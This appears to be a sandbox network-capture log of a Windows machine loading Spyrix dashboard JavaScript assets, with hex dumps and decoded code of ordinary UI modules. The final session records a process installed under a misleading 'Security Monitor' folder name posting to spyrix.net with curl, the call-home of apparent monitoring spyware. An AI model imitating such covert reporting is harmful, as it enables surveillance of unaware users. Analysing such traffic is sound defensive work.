2024-10-02 04:11:41 UTC	562	OUT	GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:41 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 629 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-275" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:04:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:41 UTC	629	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 67 31 6a 44 45 4e 75 51 22 2c 6f 3d 22 6b 6e 33 2d 6a 70 61 38 22 2c 64 3d 22 70 69 31 61 53 67 71 4e 22 2c 72 3d 22 59 78 32 6d 49 6a 4e 35 22 2c 6e 3d 22 47 51 54 58 6e 50 56 68 22 2c 73 3d 22 53 70 74 36 4f 6f 39 41 22 2c 63 3d 22 52 6d 44 6c 44 74 50 31 22 2c 74 3d 22 6e 4c 49 47 57 42 32 6b 22 2c 6c 3d 22 49 65 50 78 6f 4f 71 53 22 2c 69 3d 22 41 55 6d 76 4e 54 7a 36 22 2c 61 3d 22 5f 36 76 58 51 70 6d 51 44 22 2c 6d 3d 22 71 33 56 30 32 46 68 36 22 2c 62 3d 22 53 4a 30 47 50 63 38 65 22 2c 79 3d 22 5f 35 56 65 61 78 45 64 39 22 2c 70 3d 22 63 4b 66 79 68 4a 71 2d 22 2c 68 3d 22 47 77 2d 6c 36 37 79 4d 22 2c 75 3d 22 58 6a 4a 4d 4f 6a 4b 46 22 2c 78 3d 22 57 5a 68 5a 2d 5a 4b 4c 22 2c 50 3d 22 65 49 48 36 65 73 68 57 22 2c Data Ascii: const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49785	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	570	OUT	GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:41 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 129 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-81" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T03:41:35+00:00 X-Node: m9-up-gc81 Accept-Ranges: bytes
2024-10-02 04:11:41 UTC	129	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 5f 36 70 74 63 2d 76 31 6f 22 2c 6f 3d 22 65 54 55 74 31 76 53 4d 22 2c 63 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 6d 70 6c 61 74 65 22 3a 22 5f 36 70 74 63 2d 76 31 6f 22 2c 62 75 74 74 6f 6e 54 65 6d 70 6c 61 74 65 3a 74 2c 22 77 69 74 68 2d 69 63 6f 6e 22 3a 22 65 54 55 74 31 76 53 4d 22 2c 77 69 74 68 49 63 6f 6e 3a 6f 7d 3b 65 78 70 6f 72 74 7b 63 7d 3b 0a Data Ascii: const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49787	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	566	OUT	GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 120 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-78" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T21:10:27+00:00 X-Node: m9-up-gc231 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	120	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 76 61 4a 67 37 58 47 66 22 2c 6f 3d 22 6d 74 78 46 75 75 71 6f 22 2c 6e 3d 22 4d 74 41 55 6d 34 72 64 22 2c 78 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 78 74 22 3a 22 76 61 4a 67 37 58 47 66 22 2c 62 75 74 74 6f 6e 54 65 78 74 3a 74 2c 74 65 78 74 3a 6f 2c 70 72 69 6d 61 72 79 3a 6e 7d 3b 65 78 70 6f 72 74 7b 78 20 61 73 20 63 7d 3b 0a Data Ascii: const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49784	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	561	OUT	GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1392 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-570" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T16:06:51+00:00 X-Node: m9-up-gc58 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	1392	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 75 20 61 73 20 6e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 72 3d 28 65 2c 6f 2c 74 29 3d 3e 7b 73 77 69 74 63 68 28 6f 29 7b 63 61 73 65 22 69 6e 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3e 61 5b 74 5d 3f 31 3a 2d 31 29 3b 63 61 73 65 22 64 65 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3c 61 5b 74 5d 3f 31 3a 2d 31 29 7d 7d 2c 79 3d 6e 28 22 6d 6f 64 61 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 6d 6f 64 61 6c 73 51 75 65 75 65 3a 5b 5d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 69 73 41 63 74 69 76 65 41 6e 79 4d 6f 64 61 6c 28 65 29 7b 72 65 74 75 72 6e 21 21 65 Data Ascii: import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49788	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	591	OUT	GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:42 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1185 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-4a1" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T20:08:01+00:00 X-Node: m9-up-gc231 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	1185	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 6f 20 61 73 20 6e 2c 62 20 61 73 20 69 2c 72 20 61 73 20 73 2c 66 20 61 73 20 75 2c 6e 20 61 73 20 64 2c 75 20 61 73 20 6c 2c 77 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 6d 6f 64 75 6c 65 2d 36 64 34 65 39 31 62 38 2e 6a 73 22 3b 63 6f 6e 73 74 20 66 3d 5b 22 74 79 70 65 22 2c 22 64 69 73 61 62 6c 65 64 22 2c 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6d 3d 5b 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 22 2c 70 72 6f 70 73 3a 7b 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 6d 64 22 7d 2c 76 61 72 69 61 6e 74 3a 7b 64 65 66 61 75 6c 74 3a 22 Data Ascii: import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49793	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	379	OUT	GET /dashboard30/assets/index-1178777c.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:42 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5163 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-142b" Cache: STALE X-Cached-Since: 2024-10-02T02:04:55+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	3762	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 46 2c 6f 20 61 73 20 49 2c 62 20 61 73 20 44 2c 69 20 61 73 20 50 2c 72 20 61 73 20 67 74 2c 6e 20 61 73 20 72 2c 75 20 61 73 20 74 2c 61 75 20 61 73 20 70 74 2c 67 20 61 73 20 48 2c 45 20 61 73 20 5f 74 2c 46 20 61 73 20 66 74 2c 24 20 61 73 20 76 74 2c 44 20 61 73 20 45 74 2c 4d 20 61 73 20 75 2c 63 20 61 73 20 77 2c 70 20 61 73 20 78 2c 52 20 61 73 20 79 2c 73 20 61 73 20 68 74 2c 61 74 20 61 73 20 77 74 2c 68 20 61 73 20 73 2c 79 20 61 73 20 64 2c 61 7a 20 61 73 20 78 74 2c 61 6d 20 61 73 20 79 74 2c 65 20 61 73 20 53 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 61 20 61 73 20 57 2c 75 20 61 73 20 4c 74 2c 62 20 61 73 20 50 74 2c 64 20 61 73 20 42 74 7d 66 Data Ascii: import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}f
2024-10-02 04:11:42 UTC	1401	IN	Data Raw: 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 66 6f 72 6d 22 2c 6f 6e 4b 65 79 70 72 65 73 73 3a 78 74 28 47 2c 5b 22 65 6e 74 65 72 22 5d 29 7d 2c 5b 73 28 71 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 69 6e 70 75 74 5d 29 2c 76 61 6c 75 65 3a 74 28 67 29 2c 76 61 72 69 61 6e 74 3a 72 74 2e 76 61 6c 75 65 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 3a 74 28 52 29 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 74 28 61 29 28 22 45 6d 61 69 6c 22 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 65 6d 61 69 6c 22 2c 6f 6e 4f 6e 43 68 61 6e 67 65 3a 51 7d 2c 6e 75 6c 6c 2c 38 2c 5b 22 63 6c 61 73 73 22 2c 22 76 61 6c 75 65 22 2c 22 76 61 72 69 61 6e 74 22 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 2c 22 70 6c 61 63 Data Ascii: ),"data-testid":"form",onKeypress:xt(G,["enter"])},[s(q,{class:r([t(i).input]),value:t(g),variant:rt.value,"additional-message":t(R),placeholder:t(a)("Email"),"data-testid":"email",onOnChange:Q},null,8,["class","value","variant","additional-message","plac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49789	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	414	OUT	GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:42 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 613 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-265" Cache: STALE X-Cached-Since: 2024-10-02T01:47:10+00:00 X-Node: m9-up-gc42 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	613	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 63 20 61 73 20 72 2c 61 20 61 73 20 65 2c 6f 20 61 73 20 74 2c 62 20 61 73 20 63 2c 74 20 61 73 20 75 2c 6e 20 61 73 20 6c 2c 65 20 61 73 20 66 2c 55 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 6f 6e 65 52 6f 77 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 62 6f 6c 64 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 74 65 78 74 3a 7b 7d 2c 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 73 6d 22 7d 2c 63 6f 6c 6f 72 3a 7b 64 65 66 61 75 6c 74 3a 22 64 65 66 61 75 6c 74 22 7d 2c 75 70 70 65 72 63 61 73 65 Data Ascii: import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49791	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	376	OUT	GET /dashboard30/assets/en-5393c481.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:42 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1098 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-44a" Cache: STALE X-Cached-Since: 2024-10-01T21:43:33+00:00 X-Node: m9-up-gc90 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	1098	IN	Data Raw: 63 6f 6e 73 74 20 6f 3d 22 63 6f 6e 76 65 6e 69 65 6e 74 22 2c 65 3d 22 4d 61 69 6e 22 2c 6e 3d 7b 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 2c 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 2c 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 3a 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 2c 22 50 6c 65 61 73 65 20 70 75 72 63 68 61 73 65 20 61 20 6c 69 63 65 6e 73 65 20 74 6f 20 61 63 63 65 73 73 20 79 6f 75 72 20 64 61 74 61 22 3a 22 50 6c 65 61 73 65 20 Data Ascii: const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49792	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	376	OUT	GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:42 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 774 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-306" Cache: STALE X-Cached-Since: 2024-10-02T02:58:02+00:00 X-Node: m9-up-gc5 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	774	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 52 65 67 69 73 74 65 72 22 2c 6f 3d 22 45 6d 61 69 6c 22 2c 74 3d 22 50 61 73 73 77 6f 72 64 22 2c 73 3d 22 4c 6f 67 69 6e 22 2c 61 3d 7b 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 3a 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 2c 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 3a 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 2c 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 3a 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 2c 52 65 67 69 73 74 65 72 3a 65 2c 45 6d 61 69 6c 3a 6f 2c 50 61 73 73 77 6f 72 64 3a 74 2c 4c 6f 67 69 6e 3a 73 2c 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 3a 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 2c 22 54 68 69 73 20 65 6d 61 69 6c 20 63 61 6e 6e 6f 74 20 62 65 20 75 73 Data Ascii: const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49790	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	398	OUT	GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:42 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4589 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-11ed" Cache: STALE X-Cached-Since: 2024-10-02T02:32:02+00:00 X-Node: m9-up-gc31 Accept-Ranges: bytes
2024-10-02 04:11:42 UTC	3763	IN	Data Raw: 69 6d 70 6f 72 74 7b 4a 20 61 73 20 54 2c 24 20 61 73 20 4c 2c 46 20 61 73 20 79 2c 61 47 20 61 73 20 5f 2c 45 20 61 73 20 77 2c 61 4d 20 61 73 20 62 2c 61 41 20 61 73 20 52 2c 63 20 61 73 20 43 2c 70 20 61 73 20 46 2c 61 74 20 61 73 20 63 2c 52 20 61 73 20 4d 2c 61 76 20 61 73 20 66 2c 61 75 20 61 73 20 53 2c 61 77 20 61 73 20 75 2c 61 78 20 61 73 20 68 2c 61 63 20 61 73 20 4e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e 20 6c 74 28 29 7b 76 61 72 20 70 3b 63 6f 6e 73 74 20 74 3d 54 28 29 2c 65 3d 4c 28 29 2c 72 3d 79 28 29 2c 61 3d 5f 28 29 2c 7b 73 65 74 44 65 66 61 75 6c 74 73 3a 6f 7d 3d 77 28 29 2c 73 3d 28 28 70 3d 72 2e 70 72 6f 67 72 61 6d 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 70 Data Ascii: import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p
2024-10-02 04:11:42 UTC	826	IN	Data Raw: 2e 75 7d 2c 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 66 65 74 63 68 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 2c 66 65 74 63 68 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 65 72 72 6f 72 7d 2c 63 68 65 63 6b 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 7d 2c 61 63 74 69 6f 6e 73 3a 7b 61 73 79 6e 63 20 66 65 74 63 68 56 65 72 69 66 69 63 61 74 69 6f 6e 50 68 6f 6e 65 28 74 29 7b 63 6f 6e 73 74 20 65 3d 45 28 74 29 3b 61 77 61 69 Data Ascii: .u},checkPhoneCallStatus:{...u}}),getters:{fetchState(t){return t.fetchPhoneCallStatus.state},fetchError(t){return t.fetchPhoneCallStatus.error},checkState(t){return t.checkPhoneCallStatus.state}},actions:{async fetchVerificationPhone(t){const e=E(t);awai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49800	158.69.117.119	443	7588	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 419 Content-Type: application/x-www-form-urlencoded
